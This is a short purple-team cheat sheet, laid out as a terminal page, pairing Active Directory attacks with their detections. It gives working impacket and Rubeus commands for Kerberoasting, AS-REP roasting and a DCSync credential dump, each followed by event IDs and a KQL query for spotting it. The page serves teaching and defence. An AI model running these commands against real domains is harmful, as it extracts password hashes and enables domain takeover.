reaper@re4perz3d:~$

reaper@re4perz3d:~/cheatsheets$ cat active-directory.md

Active Directory: attack → detect

[purple]

For authorized labs and engagements only. Starter page: merge your Notion cheat sheet here.

Kerberoasting

impacket-GetUserSPNs corp.local/user:'Password' -dc-ip 10.0.0.10 -request
Rubeus.exe kerberoast /outfile:hashes.txt

Detect: Event 4769 for service accounts with ticket encryption type 0x17 (RC4), especially many requests from one account in a short time.

SecurityEvent
| where EventID == 4769 and TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| summarize SPNs = dcount(ServiceName) by Account, IpAddress, bin(TimeGenerated, 10m)
| where SPNs > 5

AS-REP roasting

impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.10 -no-pass

Detect: Event 4768 with pre-authentication type 0 for accounts that have “Do not require Kerberos preauthentication” set.

DCSync

impacket-secretsdump corp.local/admin@10.0.0.10 -just-dc

Detect: Event 4662 with the directory replication GUIDs (1131f6aa-…, 1131f6ad-…) requested by an account that is not a domain controller.